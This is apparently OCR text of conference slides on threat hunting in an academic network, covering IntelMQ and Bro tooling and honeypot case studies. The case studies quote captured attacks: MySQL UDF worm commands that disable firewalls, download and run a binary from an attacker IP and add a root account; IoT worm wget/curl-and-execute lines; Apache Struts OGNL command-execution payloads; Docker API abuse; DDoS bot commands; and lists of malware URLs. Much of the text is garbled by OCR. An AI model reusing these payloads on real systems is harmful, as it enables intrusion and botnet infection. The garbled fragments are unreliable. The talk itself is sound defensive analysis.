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How Academic Networks differ from ..

e Significant Data Volume: Can’t store everything
(so data aggregation, meta-data exctraction
done)

e Academic Network: a network full of
researchers ->weird protocols, and weird hits,
malware infested websites

e Anomaly detection doesn’t work



Frequently Asked Questions (and
ANSWERS)

Building “FAQ” systems that answer common
“hunting” questions is helpful:

e Have | seen this IP address?

e Have | seen this email? domain? host? .. email
subject?

e| want to get notified if | see this artifact on
my network



How to hunt ..

Slow “old” style ;-)

Bind ./ -name 'conn*' -exec zgrep -H "117\.103

New Style

[root@asgc-cap ~]# 1ipdb 11?.1@3*14
'o', 'start': 3186139,V Vself': <CodernityDB.storage.IU_Storage object at ¢

{'status’';: 4'o0 :
117.1@3*14 date: set(['sflowdata/20151201']), peer ASNs: set([70])
"70 | US ¥ Yarin | | NLM-GW - National Library of Medicine, US"




“Hunting” helpers: PDNS

e Have | seen a “domain name” matching this

b A L b}

fyodor@Vsl ~$ curl -k https://v/pdns/dga/2017-02-02 | jq

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 237k 100 237k Y @ 738k @ --i-=1== ==l==il== ==i==:-= 738k
{
"2017-02-02": [



loC collection: IntelMQ is awesome
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IntelMQ sources

e Our honeypot systems

e 3rd party Intel Feeds, MISP

e custom scrapper scripts

usr/bin/pytnao

/usr/bin/python3
/usr/bin/python3
/usr/bin/python3
/usr/bin/python3
/usr/bin/python3
/usr/bin/python3
/usr/bin/python3

/usr/bin/python3
/usr/bin/python3
/usr/bin/python3
/usr/bin/python3
/usr/bin/python3
/usr/bin/python3
/usr/bin/python3

] OCd D1

inteLmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmg.
/usr/local/bin/intelmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmg.
/usr/local/bin/intelmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmq.
/usr/local/bin/intelmqg.

DO
bots.
bots.
bots.
bots.
bots.
bots.
bots.
bots.
bots.
bots.
bots.
bots.
bots.
bots.

.parser

.abusecn.parser_domain apusech-domaLn-parser
collectors.http.collector_http abusech-feodo-domains-collect
experts.cymru_whois.expert cymru-whois-expert
experts.deduplicator.expert deduplicator-expert
outputs.file.output file-output

experts.gethostbyname.expert gethostbyname-1-expert
experts.gethostbyname.expert gethostbyname-2-expert
parsers.malc@de.parser malc@de-parser
collectors.http.collector_http malc@de-windows-format-collec
collectors.http.collector_http malware-domain-list-collecto
parsers.malwaredomainlist.parser malware-domain-list-parser
collectors.http.collector_http spamhaus-drop-collector
parsers.spamhaus.parser_drop spamhaus-drop-parser
experts.taxonomy.expert taxonomy-expert
experts.url2fqdn.expert url2fqdn-expert

), TREND
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Data to fetch with custom scripts
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Hunting with intelMQ indicators and BRO

/usr/local/bro/share/bro/site/local.bro

const feed_directory =

"/usr/local/bro/feeds”;

redef Intel::read_files += {
feed_directory + "/tor.intel",
feed_directory + “/other.intel",

};

@load frameworks/intel/seen
@load frameworks/intel/do_notice



Case Studies

WHATEVER YOU SEE IN THE NEWS, WE PROBABLY
SEE IT 760 :-)




mysql worming activities

[T {Magazine

Technology Decisions For The Enterprise

“a

™
/.4 §

7,
| L

[an error occurred while processing this directi

Home > News & Analysis

Worm targets MySQL

A new worm spreading on the Internet targets computers running the MySQL open-source
thousands of Windows machines running this database.

The new threat is a new version of a common network worm named Forbot. It infects mac



behaviour

query CREATE FUNCTION sys_eval RETURNS string SONAME 'xiaoji64.so'

query CREATE FUNCTION sys_eval RETURNS string SONAME 'xiaoji.so'

query create function sys_eval returns string soname "lib_mysqludf_sys.so"

query CREATE FUNCTION mylab_sys_exec RETURNS INTEGER SONAME "mylab_sys_exec.so"

query system wget http://182.254.213.14:5555/vOmm

query system chmod +x vO9mm

query system chmod 777 vOmm\x@asystem ./vOmm

query select sys_eval("/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://:
2.254.213.14:5555/v9mm; chmod 777 v9mm;./v9mm;")

query  SELECT mylab_sys_exec(/etc/init.d/iptables stop

query service iptables stop

query SuSEfirewall2 stop

query reSuSEfirewall2 stop

query wget -c http://182.254.213.14:5555/vOmm

query chmod 777 vOmm

query  ./vO9mm

query  ");\x@aDrop FUNCTION IF EXISTS lib_mysqludf_sys_info;\x@aDrop FUNCTION IF EXISTS sys_get;\x@aDrop FUNCTION IF EXISTS sys.
et;\x@aDrop FUNCTION IF EXISTS sys_exec;\x@aDrop FUNCTION IF EXISTS sys_eval;

quit  (empty)

query show variables like "¥plugink";

query show variables like "%plugin¥";

query  SELECT @@version_compile_os;

query show variables like "%version_compile_machine%';

query GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DROP, EVENT, EXE(
TE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHU
OWN, SUPER, TRIGGER ON *.* TO 'root'@'%" WITH GRANT OPTION;

query FLUSH PRIVILEGES;

query FLUSH PRIVILEGES;

query  GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE VIEW, DELETE, DROP, EVENT, EXECUTE, :
DEX, INSERT, LOCK TABLES, REFERENCES, SELECT, SHOW VIEW, TRIGGER, UPDATE ON “mysql” .* TO 'root'@'%" WITH GRANT OPTION;

query  FLUSH PRIVILEGES;

query  FLUSH PRIVILEGES;

auervy in<ert into mveal ucerfHost lleer Pacssword) values(C"%" "mveald" pnasswordC"654321*%a"1Y) -



MYSQL worm

N.E..>. .0 ¢,

V....insert into mysql.user(Host,User,Password) values("%", "mysqld",password("654321*a")

10:39:11.265521 IP 58.54.105.75.49755 > 202.169.170.12.mysql: Flags [P.], seq 4294966565:4294966587, ack 4294967050, win 16279, le

t..W:6iK.....[..1...u.*.P.?..a..3....CREATE USER 'mysqld'@'%' IDENTIFIED BY '654321%*a’;
10:39:11.864607 IP 58.54.105.75.49755 > 202.169.170.12.

possibly compromised: 202.169.170.12




samples payload

Most of these samples are DDoS binaries.
Some are UPX packed
Carry embedded Amplification point lists. Can do HT TP
Floods.
Built with C++

Mozilla/5.0 (TSI) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/|D&23&251.|D&@&S| . |D&1000&O000A | . |D&10&I9| Safari/537.17
Mozilla/5.@ (CISI; rv:18.0) Gecko/20100101 Firefox/18.0
Opera/|D&7891 . |D&70890| (IS|) Presto/2.|D&8&18I| . |D&90&89Q| Version/|D&11&12|. |D&10G&19|

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101

58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3




loT botnets

The Botnet That Broke the Internet Isn't Going Away SUBSCRIBE

BUSINESS CULTURE DESIGN SCIENCE SECURITY TRANSPDRTATIC

LILY HAY NEWMAN SECURITY 12.08.168 7:00 AM

SUARE:—— "THE BOTNET THAT BRORE THE
g INTERNET ISN'T GOING AWAY

TWEET

COMMENT
21

EMAIL




Infections observed as early as 2014
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Lots and lots of loT stuff

7.17.147.41600
7.17.147.41600
7.17.147.41600

7.17.147.41600
7.17.147.34157

wget http://0.0.0.0/gtop.sh ||
nmod 777 tftpZ2.sh; sh tftpZ.sh;

wget http://0.0.0.0/gtop.sh ||

amnAd 777 +F+En7 el el +FEnT7 elas

1= il A ="l )l o ambm 11 TR | iy Ll b oua

> 202.140.186.116.telnet:
> 202.140.164.196.telnet:
> 117.103.111.106.telnet:
7.17.147.41600 > 117.103.107.91.telnet: Flags [S]
>
-

117.103.107.91.telnet: Flags [R]

117.103.107.91.telnet: Flags [S]

Flags [S], seq 3398220404,
Flags [S], seq 3398214852,
Flags [S], seq 1969713002,

, seq 1969711903,
, Sseq 1969711964, .
, Seq 2427059546, \

curl -0 http://0.0.0.0/gtop.sh
rm -rf gtop.sh tftpl.sh tftp’.

curl -0 http://0.0.0.0/gtop.sh

mm _ndt Aatan el FFEnl1 el FF4En7

3.94.47.57/gtop.sh || curl -0 http://23.94.47.57/gtop.sh;
chmod 777 tftp2.sh; sh tftp2.sh; rm -rf gtop.sh tftpl.sh

P o b B & W B foer BN il S S [ |



Honeypots & loT worms

4 _ $_oobl: -b1 B executable, Intel sY3sb, version Y5V), statically Linked, tor GNU/Linux
32 116 7878_ HJHZ ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU
32_116_7878_HIHZ2: ELF 32-bit LSB executable, Intel 88386, version 1 (GNU/Linux), statically linked, strippe
32_116_7878_vv10Q: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linu
kfj_cc_1611_24A1d4ml: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/
kfj_cc_1611_26Ald4ml: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for
kfj_cc_1611_ladm4a2r3m: ELF 32-bit LSB executable, ARM, EABIS5 version 1 (SYSV), statically linked, for GNU/
9_248_71_321_vs9_s: ELF 32-bit LSB executable, Intel 88386, version 1 (GNU/Linux), statically linked, strip
32_116_7878_HIHZ: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU
32_116_7878_HIH3: ELF 32-bit LSB executable, Intel 88386, version 1 (GNU/Linux), statically linked, strippe
32_116_7878_HJH3: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, strippe
kfj_cc_1611_ald4m2: ELF 32-bit LSB executable, Intel 88386, version 1 (GNU/Linux), statically linked, strip
kfj_cc_1611_ald4ml: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, strip
kfj_cc_1611_dd_wrtladm4: ELF 32-bit MSB executable, MIPS, MIPS3Z2 rel2 version 1, statically linked, for GNU
kfj_cc_1611_ladm4aZr3m: ELF 32-bit LSB executable, ARM, EABIS version 1 (SYSV), statically linked, for GNU/
32_116_7878_HIH3: ELF 32-bit LSB executable, Intel 88386, version 1 (GNU/Linux), statically linked, strippe:
32_116_7878_HIH3: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, strippe
32_116_7878_HJH3: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, strippe
32_116_7878_HIH3: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, strippe
0_51_138_8756_24: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linu
kfj_cc_1611 D4ikeZ2_4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
kfj_cc_1611_D4ike2_6: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for
kfj_cc_1612_D41keZ2_4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/
kfj_cc_1612_d4i_wrt: ELF 32-bit MSB executable, MIPS, MIPS3Z2 relZ version 1, statically linked, for GNU/Lin

kfj_cc_1612_D4ike_mips: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 ver51on 1, statically linked, for GNU/
- U s e el e N @ e N e Wl e I gl B B il . Wl il Nl Nl e ll‘—\-l-l'___ N el e -n.d"I— el e T e T N _



Honeypots and loT worms

-2017- @3 @5 18:33: @8—— http: //ald4m ij o o 1612/D41ke2 =
onnecting to ald4m.kfj.cc:1612... connected.

TTP request sent, awaiting response... 200 OK

ength: 5100983 (4M) [application/octet-stream]

baving to: “/root/D4ikeZ.4

1 81,748 21K/s eta 3m S58schmod @755 /root/D4ike?.4
5% [==> 1 287,620 37K/s eta 2m 8s nohup /root/D4ike2.4 > /dev/null 2>&1 &

% [===> 1 486,168 41K/s eta 1m 52schmod 777 D4ikeZ2.4

1% [>

automated sample collection!! ;-)



Struts vuln: First Observations in January

T 222.186.34.148:4021 -> 140.109.98.2:88 [AP]

GET /index.action HTTP/1.1..User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924,87 Safari/537.36..Acc
ontent-Type: %{(#nike='

multipart/form-data').(#dm=@ognl.0gn1Context@DEFAULT_MEMBER_ACCESS) . (#_memberAccess?(#_memberAccess=#dm) : ((#container=#context['com.opensymphony.xwork2.ActionContext
1).(#ognlUtil=#containe

r.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMembe
m)))) . (#cmd="whoami') . (

#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win"'))).(#cmds=(#iswin?{'cmd.exe','/c', "echo windows--2017'}:{'/bin/bash','-c','echo linux--:
p=new java.lang.Process

Builder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache,strutsz.ServletActionContext@getResponse().getOutputStream())).(@org.apache. c
OUtils@copy(#process.ge

tInputStream(),#ros)).(#ros.flush())}..Host: 140.109.98.2:88..Connection: Keep-Alive....

T 123.134.185.140:62834 -> 117.103.108.47:80 [AP]

POST / HTTP/1.1..Host:qcn.twgrid.org:80..Accept-Language: zh_CN..User-Agent: Auto Spider 1.0..Accept-Encoding: gzip, deflate..Connection: close..Content-Length: 866.
pe: multipart/form-data

; boundary=----------— -~~~ —— 7e116d19044c....-————-————-—-———mmm - 7e116d19044c. .Content-Disposition: form-data; name="test"; filename="%{(#test="mul:
-data').(#dm=@ognl.0gnl

Context@DEFAULT_MEMBER_ACCESS) . (#_memberAccess?(#_memberAccess=#dm) : ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.ge
@com, opensymphony . xwork

2.ognl.0gnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.st
etActionContext@getRequ

est()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setlontentType('text/html;charset=UTF-8')).(#res.getWriter().print('security_")).(#res.getl
int('check')).(#res.get

Writer().flush()).(#res.getWriter().close())}.b"..Content-Type: text/plain....X..----=----------— 7e116d19044c--

T 123.134,185.140:62889 -> 117.103.108.47:80 [AP]

POST / HTTP/1.1. .Host:qcn.twgrid.org:80..Accept-Language: zh_CN..User-Agent: Auto Spider 1.0..Accept-Encoding: gzip, deflate..Connection: close..Content-Length: 0. .C
: %{(#test="multipart/f

orm-data') . (#dm=@ognl.0gnlContext@EFAULT_MEMBER_ACCESS) . (#_memberAccess?(#_memberAccess=#dm) : ((#container=#context['com.opensymphony.xwork2.ActionContext.container':
il=#container.getInstan

ce(@com,opensymphony.xwork2.ognl.0OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dr
=@org.apache.strutsz.Se

rvlietActionContext@getRequest()). (#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setlontentType('text/html;charset=UTF-8')).(#res.getWriter().prit
y_")).(#res.getWriter()

.print('check')).(#res.getWriter().flush(Q)).(#res.getWriter().close())}....




Extracting payloads: ChinaZ
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2/ /115.231.220.67 :6551 /WY
://121.42.249.245:1996/xhx
://58.221.58.113:8080/v9
://180.97.215.10:45367/stb
://115.231.220.67:1990
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231.220.67:6551/win
.249.79.231:8080/x1ix1dd
172.158.227:8899/uopdf
97.215.10:45367/stb
93.208.12:5621/s5yn25000
186.58.213:124/11inuxxa
187.221.190:1234/2020
187.221.215/nihao
148.156.123:12345/Lin.1
52.4.223:6673/Client
52.4.223:6673/LManager
52.4.223:9944/cnm
147.73.38:2651/s5yn13576
147.73.38:4852/10771111
147.73.38:4852/syn13576
147.73.38:4852/syn135777
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©01.5.41:7006/tomcat
187.221.215/n1ihao
40.102.37:8090/C64

184.
150.

//45.77.17.225/t0mcat
//60.169.81.131:7720/L11ient
//47.52.4.223:9943/CClient
//43.228.235.195:9008/Linux2.6

fA/222
SEIE2.
/7139,
SLI23,
/7121,
7 i
//111
+//103.
//180.
17123,

187.221.215/nihao
87.28.82:9870/123
201.126.226:8080/Lin
56.15.178:9869/1ts
42.249.245:2356/sys32
74,238.175:2009/sy
121.193.205:8080/dashu
56.115.136:6785/HEAD
100.235.26:9/6
249.4.203:4489/z1ipz

//1ly.drink1234.com/syn@45
//1ly.drink1234.com/PHPCGI

//43.228.235.195:12850/11inux.6.4.0
{f222.
ff222
7183,
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186.134.221:8080/udp
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193.137.211/st2kjuntuan.1
21.191.103: 9@2@/W1n8
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collected samples

3263191BB692D639D4C2E1FO1EDF81B0@986374F04B32700B3A122633B926B945F2D797
3553E60AD447C9F2D9E205B2419BF47FOAZ20AA31CD3A9F4BFESDOAD59B537D093909766
3F054A05B8819F21C0C125BoFAGE82A8B3571775D7E6F30669044/7383BC7A9E4F3A381
45254A09BD8O9F52C5D92B76F64E429833278754D7AAF306590807397B87AAF4F3B309
4F255A06B8919F52C6CO36BAFA2F539573270B58D6F6F30699144B383FC799A4F3A211
4F456B12FBDOCCB1D84616F5100FDA35D5229677A01BCA4FEASDCD38BB29181AB1A37E
56157D8AF6C751F3C8934EBOO25BE73F4231AA268017CD90F78DDE15F823E96570A259
58F43A03B2A058E9(C497C1315BCBD2B29A32F8745323EB5B3281DF353A25DA19F59B17
58F43A03B2AQ58E9C497C1315BCBD2B29A32F8745323EB5B3281DF353A25DA19F59B17
68157D8AF6C751F3C8934EBOVO25BE73F4231AA268017CD96F78DDE15F823E96570A259
6E054A05F881DF01CoC025BoFACE8298B35747A5D7EGF300669044 7383BC7A9E4F3A381
71158DOEE59390B6(C87395B5028BEBBF4A30ES53980478DC7BA8DDD38B(C27D90564E716
73356D12E790CCF2D84616B5104FE6358532D677E017DB4BEB4E8C38BB69281AF5933A
7385BFCEEB8294B7(C56BOA7005DBD77A2330E938805F4F5706A9DCD78B817990BDAEADS
/D356D12E790CCF2D84616B5104FE6358532D677E017DB4BEB4E8C38BB69281AF5933A
81456B12FBDOCCB1D84616F5100FDA35D5229677A01BCA4FEASDCD38BB29181AB1A37E
83356D12E790CCF2D84616B5104FE6358532D677E017DB4BEB4E8C38BB69281AF5933A
8685BFCEEB8294B7(C56B0OA7005DBD77A2330E938805F4F576A9DCD78B817990BDOEADS
8853D60AD447COF2DOE205B2459BE47FOAZ20AA31CD3BIOF8BFA8DOD69B537DOD3909752
8A456B12FBDOCCB1D84616F5100FDA35D5229677A01BCA4FEASDCD38BB29181AB1A37E
95157D8AF6C751F3C8934EBOVO25BE73F4231AA268017CD96F78DDE15F823E96570A259
9C857D47A6A758BECSDBD2785B8BC7729731F83402252E3F7684DA302E62D905F0AF11
A2456B12FBDOCCB1D84616F5100FDA35D5229677A01BCA4FEASDCD38BB29181AB1A37E
AC254A0@9BD80@9F52C5D92B76F64E429833278754D7AAF306590807397B87AAF4F3B309
B4369E13EAGOES36D0A703F0218BC732D635E4B1165B898BE3DA1E3C2D065965F 70AF2B
C2857D47AbA758BECSDBD2785B8BC7729731F83402252E3F70684DA302E62D905F0AF11
C3456B12FBDOCCB1D84616F5100FDA35D5229677A01BCA4FEASDCD38BB29181AB1A37E

linuxs//64.1
linuxs//32.1
Llinuxs//1lymm
linuxs//csd.1
linuxs//larm
linuxs//Linux-syn12188
linuxs//123
linuxs//1inux
linuxs//linux.1
linuxs//1ts
linuxs//csd
linuxs//zipz
linuxs//jxj
linuxs//Linux2.6
linuxs//syn@45
linuxs//exp
linuxs//win
linuxs//Linux.2
linuxs//ip32
linuxs//3389
linuxs//1iac2.6
Linuxs//lr
linuxs//1ink
linuxs//yus
linuxs//Linux2.4
linuxs//Logine
linuxs//WY




Cross-compiled code + source!

L6

a cross-compiler-1586
comp cross-compiler-i686

cross-compiler-m68k
cross-compiler-mips

cross-compiler-armv4l
cross-compiler-armv5l

*infectline =

// WGET LINE GOES HERE A

* *commServer[] =

initConnection();

getBogos(unsigned char *bogomips);
't getCores();
getCountry(unsigned char *buf, int bufsize);
oid makeRandomStr(unsigned char *buf, int length);
sockprintf(int sock, char *formatStr, ...);

Bhar *inet_ntoa(struct in_addr in);

cross-compiler-armvel

SS-CO
SS—-CQO
SS-CO

SS-CQO

8
r
Q

2
-3
-

.
r
-

2
"3
O




Who is ChinaZ

Ipstressing.xyz Best IP
booter/Stresser M 71

thunderstresser best |IP
booter/Stresser F{EM 1

[SCAM] Vbooter IP

booter/Stresser SCAM

Ad slots

Use this ad slot

10130

Ad description

yolostresser best IP
booter/Stresser Ex{EMTI

I —
R 0 0 0
[ [N

NetDown Best IP
booter/Stresser Best VIP  List % 2% W T2 %

booter.ninja best IP
booter/Stresser S{EMN 01

Free IP booter/Stresser



Watch your Docker Instances

=warning msg="/!\\ DON'T BIND ON ANY IP ADDRESS WITHOU
=info msg="Listening for HTTP on tcp (0.0.0.0:4243)"
=info msg="Listening for HTTP on unix (/var/run/docker

DON’T BIND ON ANY IP ADDRESS WITHOUT
setting -tlsverify IF YOU DON'T KNOW WHAT

YOU’'RE DOING

olication/json” -d "{...}" -X POST http://XXX.XXX.XXX.XXX:4243/v1.19/images/create?fromImage=ubuntu&tag=latest
plication/json" -d "{"Image": "ubuntu", "Cmd": ["/bin/bash"]}' -X POST http://XXX.XXX.XXX.XXX:4243/v1.19/containers/create

.093019919Z" level=info msg="GET http://XXX.XXX.XXX.XXX:4243/containers/json"

.544728531Z" level=info msg="GET http://XXX.XXX.XXX.XXX:4243/containers/json"

.684558268Z" level=info msg="GET /version"

.937082560Z" level=info msg="POST /v1.18/containers/create"

.937818110Z" level=error msg="Handler for POST /containers/create returned error: No such image: ubuntu (tag: latest)"

.937863677Z" level=error msg="HTTP Error"” err="No such image: ubuntu (tag: latest)" statusCode=404

.014860139Z" level=info msg="POST /v1.18/images/create?fromImage=ubuntu&tag=latest”

.114139592Z" level=info msg="Trust graph fetch failed: Get https://dvjy3tgbc323p.cloudfront.net/trust/official.json: dial tcp: lookup dvjy3t
s associated with hostname™

. 756969594Z" level=info msg="POST /v1.18/containers/create"




docker compromise: payloads

wget -s -U "

" -q

wget -0 /tmp/yuagwduiagwdhg/a -U ™
PONG!

SCANNER

STOPPING SCANNER

STARTING SCANNER ON -> %s

SPOOF

CLEAN

%s IS A CRIP, LETS CLEAN THIS BITCH
TABLE

GETPUBLICIP

My Public IP: %s

VERSION

Version: %d.%d

HTTPFLOOD

UDP <target> <port (@ for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>
TCP <target> <port (@ for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, us
ult 10)

L7 <protocol ip url> <time> <threads> <sleep check> <sleep time(ms)>
mkdir /tmp/yuagwduiagwdhg

VIEWPAGE

VIEWPAGE <http ip url>

rm -fr /tmp/yuagwduiagwdhg

CNC <target> <port> <time>

STD <target> <port> <time>

KILLATTK

Killed %d.

None Killed.

LOLNOGTFO

8.8.8.8

/proc/net/route

00000000

BUILD %s

/etc/rc.d/rc.local

/etc/rc.conf

"%s%s"




Targeted Fishing

*k kk Kk 68,"["", "', "http://bromisedesefries.info/**¥*¥*' " "['"http://bromisedesefries.1i
ited Kingdom,RE: UNIEINNSCLIRNERCON @O * . *+.%*.72, "Wed, 1 Mar 2017 14:29:38 +0000","['
¥k Rk Kk 68,"["", "', "http://bromisedesefries.info/***¥*¥*' " "[""http://bromisedesefries.1i
1ted Kingdom,RE: CAMPUSE SAFETY ANNOUNCEMENT,** ** ** 66.44,"Wed, 1 Mar 2017 14:17:44 +00
*k kk Kk 68,"["', "', "http://bromisedesefries.info/***¥*¥*' 1" "['"http://bromisedesefries.1i
1ted Kingdom,RE: CAMPUS SECURITY CONCERN,** ** ** 42 "Wed, 1 Mar 2017 14:29:34 +0000","['

¥k kk xk 68,"["', "', "http://bromisedesefries.info/¥**¥*¥' " "['Thttp://bromisedesefries.1i
1ted Kingdom,RE: CAMPUS SECURITY CONCERN,** ** ** 154, 112,"Wed, 1 Mar 2017 14:29:50 +0000
¥k Rk Kk 100,"['", "', '"http://bromisedesefries.info/*¥*¥*¥**' 1" "['Thttp://bromisedesefries.
nited Kingdom,RE: CAMPUS SECURITY CONCERN,** ** ** 42 "Wed, 1 Mar 2017 14:29:39 +0000","[
¥k _kk Kk 68,"["", "', "http://bromisedesefries.info/**¥*¥*' 1" "['"http://bromisedesefries.1i




Venom

2017/01/11 Advisory: VENOM Linux rootkit

This page covers ongoing attacks and may be updated.

The Linux VENOM rootkit is a two-component malicious software aimed at
maintaining unauthorised access on compromised Linux systems. It requires root
privileges to be installed, and relies on:

- A userland binary, providing an encrypted backdoor with remote code
execution and proxy functionalities

A lightweight Linux Loadable Kernel Module, providing an additionnal port-
knocking service for the userland backdoor

VENOM features similar mechanisms to the tools used during the Freenode intrusion
in 2014 &,

As the attacker attempts to remove all local traces, it is highly recommended to deploy
and use a remote logging service (e.g. remote syslog).

This is related to hitp://go.egi.eu/venom_rootkit &.



VENOM: Interesting artifacts

5> 0O 000009

L R S IS IS O
sssssss
Sosssss
oSS

I~
=)
-~
)

o)
)

18592/crond
18566/crond

18531/crond
18505/crond
18475/crond
18449/crond

en=7 section=.rodata type=a string=/bin/sh

len=15 section=.rodata type=a string=%%HEHﬂM%OK%OK%%
len=16 section=.rodata type=a string=%%VENOM%WIN%WN%X%
len=15 section=.rodata type=a string=%%VENOM%NQO%NQO%%

SIS IS IO S B CS TGS B O
SIS IS S G RS IS B O
SIS IS IS O RGCS S B O

* N W % % ¥ * %

18592/crond
18566/crond
18531/crond
18505/crond
18475/crond
18449/crond
18422/crond

> .4- alaFa

len=9 section=.rodata type=a string=/bin/bash
len=10 section=.rodata type=a string=HOME=/root
len=9 section=.rodata type=a string=USER=root

len=65
len=18
len=10
len=22
len=22
len=13
len=21

section=,
section=,
section=,
section=,
section=,
section=,
section=,

rodata
rodata
rodata
rodata
rodata
rodata
rodata

type=a
type=a
type=a
type=a
type=a
type=a
type=a

string=PATH=/sbin:/bin:/usr/sbin
string=HISTFILE=/dev/null
string=TERM=xterm
string=a=/var/lib/mkinitramfs
string=%%VENOM%AUTHENTICATE%%
string=ABZFZU.wWdRDU
string=SSH-2.5-0OpenSSH_6.1.9

en=5 section=.rodata type=a string=crond

len=14 section=.rodata type=a string=/proc/self/exe
en=4 section=.rodata type=a string=BIND

len=17 section=.rodata type=a string=justCANTbeSTOPPED




Very similar to 2014 freenode compromise

 Kernel module is similar to the one used in freenode
compromise.

https://www.ixiacom.com/company/blog/art-stealthiness-
freenode-irc-port-knocking-backdoor

%

M

%
Magic Packet

Establish TCP connection

Fixed initial hello packet

Password

Acceptance: Flfg

Command (4 bytes)

. Continued remote shell activity ..

)
=
om
2
Clw)



Lessons learnt...



Anomaly detection that works...

e Break down by protocol/flow direction (in, out,
lateral)

e |dentify local assets (manual + automated
discovery)

e Build Individual and group behavioural models
e |dentify and examine outliers

e Optional: Cross-correlate with other data
sources and 10Cs.



Anomaly patterns...

e rarely used ports (tcp/udp) and strange ports
with high byte transfer count

e Examining high-risk (remote access) flows:
telnet, ssh, rdp, ..

130.14.250.26 70 443.0 6 14266482.0 |299
143.89.28.96 3363 130.14.250.25 70 443.0 6 12567386.0 (268
130.14.250.27 70 443.0 6 12543667.0 |263

b

==
om
° 2
Jw)



High-risk flows: ssh

e one to many-sequential patterns (ssh)

91.224.160.176 - 82 connections

S

1.0

0.5

-1 K =1-N —-N R nnN n s 1N



High-risk flows: RDP

178.218.222.168 - 39 connections

1.5
1.0
0
20216
- 202 16808
.16 B2
202.16 ,ri;j .
0.0 202.14007¢
202.1640S
202. 1410
-0.5 202.109869
202, 1%
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U
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DDoS-like flows and amplifications/DNS

56112.0 (192.203.230.10 (53.0 17
90546.0 | 192.203.230.10 |53.0 17
45992.0 ( 192.203.230.10 (53.0 17
41886.0 | 192.33.14.30 53.0 17
30852.0 [ 132.213.9.71 53.0 17
15652.0 [ 192.228.79.201 |53.0 17
8835.0 (199.7.83.42 53.0 17




DDoS like flows and amplifications/SSDP

t[43]:

count

srciP

sSrc_as

dstiP

dst as

SrcPort

DstPort

IPProtocol

117.103.105.83

24167

110.92.165.209

9943

1900.0

31882.0

17

140.109.98.145

24167

185.73.147.120

99743

1900.0

7679.0

17

140.109.98.170

24167

103.58.101.193

133800

1900.0

22.0

17

11:19:14.049171 IP 117.103.105.83.ssdp > 172.82.160.186.http: U
.. .HTTP/1.1 200 OK

E..0..0.>.@

ugiS.R..

Cache-Control: max-age=120

EXT:

iL.P,

Location: http://192.168.2.1:65535/rootDesc.xml
Server Linux/2.4.22-1. 2115 nptl UPnP/1.0 mlntupnpdfl 0

& MEaBMmMAaT < 1TIf"fm =i i B

ikl




Learning sinkholes




Sinkhole Patterns

e Sinkhole Subnet owned by Microsoft -
199.2.137.0/24

eExample: 117.103.108.210:53 ->
213.136.78.49:36169

 DNS query: 213.136.78.49:36169
117.103.108.210:53 udp 5777

e domain: www.emous5epadsafad2.com
199.2.137.29



Shell commands in any flow (unkn. ports)

08:52:37.281168 IP 221.200.176.93.9710 > 117.103.101.115.13922: UDP, length 104

WA, - ARSI, - PN Juges%.6b.p..dl:ad2:1d20:... eB(ealswetZ wees921nfo hash20s:...
B(seTle.o2Z' ....€l2q9:get peersl:t2:. " 1:v4:LT..1l:ylzge

08:52:37.370234 1P 111.17.190.23.51163 > 202.140.172.99.53413: UDP, length 123

